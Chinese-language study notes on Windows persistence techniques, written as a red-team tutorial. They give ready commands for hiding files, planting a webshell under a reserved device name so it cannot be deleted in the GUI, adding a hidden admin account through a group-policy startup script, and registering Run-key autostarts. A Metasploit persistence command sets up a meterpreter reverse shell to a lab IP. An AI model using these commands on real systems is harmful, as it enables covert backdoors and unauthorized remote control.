Windows权限维持学习
0x01 隐藏技巧
”真正“隐藏文件
使用attrib +s +a +h +r命令就是把原本的文件夹增加了系统文件属性、存档文件属性、只读
文件属性和隐藏文件属性。
attrib +s +a +h +r c:\test
这样不管是否隐藏文件,此文件都不可见
取消:
attrib -s -a -h -r c:\test
系统文件夹图标
1.将文件名重命名为 我的电脑.
{20D04FE0-3AEA-1069-A2D8-08002B30309D}
(这个是注册表里
面的clsid,打开过后也是我的电脑)
2.其他clsid
我的电脑 {20D04FE0-3AEA-1069-A2D8-08002B30309D}我的文档 {450D8FBA-AD25-11D0-98A8-0800361B1103}拨号网络 {992CFFA0-F557-101A-88EC-00DD010CCC48}控制面板 {21EC2020-3AEA-1069-A2DD-08002B30309D}计划任务 {D6277990-4C6A-11CF-8D87-00AA0060F5BF}打印机 {2227A280-3AEA-1069-A2DE-08002B30309D}记事本 {1FBA04EE-3024-11D2-8F1F-0000F87ABD16}网络邻居 {208D2C60-3AEA-1069-A2D7-08002B30309D}回收站 {645FF040-5081-101B-9F08-00AA002F954E}公文包 {85BBD920-42A0-1069-A2E4-08002B30309D}字体 {BD84B380-8CA2-1069-AB1D-08000948F534}Web 文件夹 {BDEADF00-C265-11d0-BCED-00A0C90AB50F}
畸形目录
只需要在目录名后面加两个点(也可以是多个点),畸形目录和windows版本有关联。不是所有版本通用
创建目录:
md a...\ ,
实际显示为a..
复制文件:
copy file c:\dir\a...\file
url访问:
/a.../file
删除目录:
rd /s /q a...\
测试后发现好像在某些系统版本是可以访问目录的,但是图形化界面还是无法删除
利用系统保留文件名创建图形化界面无法删除的webshell,只能用命令行删除
Windows下不能够以下面这些字样来命名文件/文件夹,包括:
aux/com1/com2/prn/con/nul
但是通过cmd下是可以创建、删除此类文件夹的,使用copy命令:
copy file \\.\c:\dir\aux.aspdel \\.\c:\dir\aux.asptype \\.\c:\dir\aux.asp
\\.\是Windows下的特性,创建文件的时候加上了那访问的时候也必须加上
驱动级文件隐藏
驱动隐藏最典型的现象就是系统盘存在以下文件
xlkfs.datxlkfs.dllxlkfs.ini...
使用软件
Easy file locker
0x02 组策略
因为其极具隐蔽性,因此可以利用来做服务器后门。可以通过这个后门运行某些程序或者
脚本,比如创建一个管理员用户
echo offnet user hack$ test168 /addnet localgroup administrator hack$ /addexit
运行->gpedit.msc->计算机配置->Windows设置->脚本(启动/关机),组策略中的这个后
门可以利用来运行脚本或者程序,嗅探管理员密码等
0x03 注册表-regedit
metasploit和sharpersist都提供了这种能力,在Windows登陆期间创建将执行任意负载的注
册表的项。
Run: 该项下的键值即为开机启动项,每一次随着开机而启动,作为持久化后门
reg add "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run" /vtest /t REG_SZ /d "C:\Program Files (x86)\test.exe"reg add "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\RunOnce"/v test /t REG_SZ /d "C:\Program Files (x86)\test.exe"reg add"HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\RunServices" /vtest /t REG_SZ /d "C:\Program Files (x86)\test.exe"reg add"HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\RunServicesOnce"/v test /t REG_SZ /d "C:\Program Files (x86)\test.exe" 说明:/v 是指所选项下要添加的值名;/ve 添加空白值名(无名称);/t regkey数据类型,忽略则默认采用REG_SZ(S:字符串类型,Z:以零字节结尾)/d 要分配给添加的值名的数据,开机启动C:\Program Files (x86)\1.py/f 强行修改现有注册表项
cmd把用户从用户组中删除(即使是管理员用户也需要单独属于Administrator组,不能同
时属于其他用户组):
net localgroup 用户组 用户名 /delete
如果已经获得提升的凭据(管理员和system权限),则最好使⽤本地计算机注册表位置,
⽽不是当前⽤户,因为有效负载将在每次 系统启动时执⾏,⽽与使⽤系统身份验证的⽤户
⽆关。通常HKEY_LOCAL_MACHINE中的设置优先级要高于 HKEY_CURRENT_USER。此方法
也需要用户单独属于Administrator组。
eg add "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run" /vtest /t REG_SZ /d "C:\Program Files (x86)\test.exe"reg add "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\RunOnce"/v test /t REG_SZ /d "C:\Program Files (x86)\test.exe"reg add"HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\RunServices" /vtest /t REG_SZ /d "C:\Program Files (x86)\test.exe"reg add"HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\RunServicesOnce"/v test /t REG_SZ /d "C:\Program Files (x86)\test.exe"
另外两个注册表位置
允许红队人员通过执行任意有效负载或DLL来实现持久性,这些将在登陆期间执行,并且
需要管理员级别的特权(此方法也需要用户单独属于Administrator组)。
reg add"HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnceEx\0001"/v Pentestlab /t REG_SZ /d "C:\Program Files (x86)\test.exe"reg add"HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnceEx\0001\Dep end" /v Pentestlab /t REG_SZ /d "C:\Program Files (x86)\test.dll"
msf 注册表dll注入权限维持
msf中带有脚本和后期利用模块来通过注册表达到持久性,msf脚本将以vbs脚本的形式创
建一个有效负载,将负载拖放到磁盘上,并创建一个注册表项,该注册表项将在用户登陆
期间运行该负载。
run persistence -U -P windows/meterpreter/reverse_tcp -i 5 -p 1234 -r 192.168.211.128 说明:-U #用户登陆时启用-P #指定payload-i #连接间隔时间-p #连接端口-r #连接主机
执行结果说明:
C:\Usersatha\AppData\Local\Temp\buFUzcFJpNNFu.vbs #vbs负载所在路劲HKCU\Software\Microsoft\Windows\CurrentVersion\Run\uoHiFnBHv #注册表项所在路径
